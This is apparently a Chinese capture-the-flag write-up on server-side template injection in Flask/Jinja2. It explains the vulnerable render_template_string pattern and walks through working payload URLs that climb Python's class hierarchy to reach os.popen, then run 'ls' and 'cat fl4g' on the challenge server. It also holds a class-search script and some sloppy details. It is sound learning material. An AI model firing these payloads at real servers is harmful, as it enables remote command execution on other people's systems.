前言
为什么超过十二点还是不想起床
本文仿照本题Wireup上传者EndermaN大佬模板注入思路
题目
分析
python template injection
看懂这个需要----------虽然没有接触过这个python模板,但了解一些python基础语法.
python框架Flask相关
Flask:python轻量级web开发框架,基于Werkzeug WSGI工具包和Jinja2模板引擎
Jinja2是Python下一个被广泛应用的模版引擎,他的设计思想来源于Django的模板引擎,并扩展了其语法和一系列强大的功能。其中最显著的一个是增加了沙箱执行功能和可选的自动转义功能,这对大多应用的安全性来说是非常重要的。
route装饰器路由
@app.route('/')
使用route装饰器告诉Flask什么样的URL能触发函数.route()把一个函数绑定到对应的URL上
相当于路由,一个路由跟随一个函数
WSGT:python web server Gateway interface\web服务器和web应用程序或框架之间的一种简单而通用的接口
Werkzeug WSGI:封装了很多web框架的东西\Request\Response等
- 路由处理:如何根据请求URL找到对应的视图函数
- request 和 response封装:提供封号的方式处理requset和生成response对象
Flask的render_template_string()函数
此函数在渲染模板的时候使用%s来动态的替换字符串,在渲染的时候会把{undefined{**}}包裹的内容当作变量解析替换
模板注入
模板引擎:是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
为了方便使用html代码,很多网站都使用模板,先写好一个html模板文件
python
def test():
code = request.args.get('id')
html = '''
<h3>%s<h3>
'''%(code)//code传入后用于代替%s,这个是由用户输入控制的,是不可靠的输入,也是漏洞成因
return render_template_string(html)
render_template_string()是Flask中的渲染方法:用户渲染字符串以及传入参数
渲染:用软件从模型生成图像的过程,模型是用严格订购一的语言或者数据结构对于三维物体的描述,包括几何\视点\纹理照明信息.
这段代码中html就是一个简单的模板文件,开发者使用这个模板对应的样式,可以直接使用render_template_string()方法来调用这个模板,从而直接把这个样式渲染出来
模板注入
指将一串指令代替变量传入模板中让它执行
以这段代码为例:传入code时,可以用{{}}符号来包裹一系列代码,以此代替本应是参数的’id’
{{}}在Jinja2中作为变量包裹标识符,可用于标识变量以及命令执行
判断有无模板注入
构造简单的测试url
http://1http://111.200.241.244:63547/{{7*7}}
执行并回传了
这里考虑如何获取控制台权限,os.system和os.popen
‘os.system’--------返回值是脚本的退出状态码
‘os.popen’---------返回值是脚本执行过程中输出内容
我们想要内容,选择os.popen
如何找到这个os.popen?
不知道为什么叫魔术方法
__class__:返回对象所属的类
__mro__:返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析
__base__:返回该类所继承的基类
__subclasses__:每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的引用的列表
__init__类的初始化方法
__globals__:对包含函数全局变量的字典的引用
开始注入
找到当前变量所在的类
`http://111.200.241.244:63547/%7B%7B''.__class__%7D%7D`
服务器回复
这里开始看也是一脸懵,%7B和%7D分别是ASCII编码的’{‘和’}’
注意class两边的下划线是分别两个下划线
这个回复告诉我们,这个变量的类是’str’
从这个类找到它的基类
`http://111.200.241.244:63547/%7B%7B''.__class__.__mro__%7D%7D`
服务器回复
通过基类找其中任意一个基类的引用列表
`http://111.200.241.244:63547/%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D`
找到了’os’所在的’site._Printer’类,在列表的72位
通过`__subclasses__()[71].__init__.globals__['os'].popen(command).read()`
调用服务器控制台 并显示
直接在url框写:`http://111.200.241.244:63547/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D`
这里的`popen('ls').read()`就是得到目录并读取,把当前目录所有文件打印在网页上
再构造一个payload,用cat读取一下内容
`http://111.200.241.244:63547/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D`
这个是一个非常常用的payload
还有个问题
找到了’os’所在的’site._Printer’类
这个东西怎么知道的??? 找到了 看这里 ------https://www.fressbuf.com/colum/187845.html
寻找包含OS模块的脚本
num=0
for item in ''.__class__.__mro__[1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print(num)
print(item)
num+=1
except:
print ('-')
num+=1
服了,死活运行不出来
参考
https://blog.csdn.net/weixin_53146913/article/details/124274968
https://blog.csdn.net/weixin_44800419/article/details/107570750